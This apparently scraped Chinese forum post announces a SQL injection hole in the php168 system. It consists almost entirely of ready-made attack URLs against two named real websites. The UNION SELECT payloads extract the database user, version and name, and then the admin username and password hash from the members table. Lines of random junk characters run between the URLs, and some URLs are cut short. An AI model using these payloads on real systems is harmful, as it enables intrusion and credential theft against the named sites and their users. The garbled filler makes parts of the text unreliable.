php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
) i: v/ @! P% P8 e. a3 l1 O                                       
$ r$ U/ H3 W( D
$ h+ x6 a! E/ ~2 O: ~, V; ohttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
" D1 ]. [0 W0 G+ L; `9 o2 U, }


# h- o# }2 y5 R& b1 h                                                            
7 S) W0 J* h# e$ C9 Q. V1 r5 T
7 I- l' u8 A3 S& v) mhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
5 ^, t/ A* S  f/ F* ]
) l/ W/ l0 J6 v: ~5 V2 U* T: S

, l# h, M2 f/ p: t# G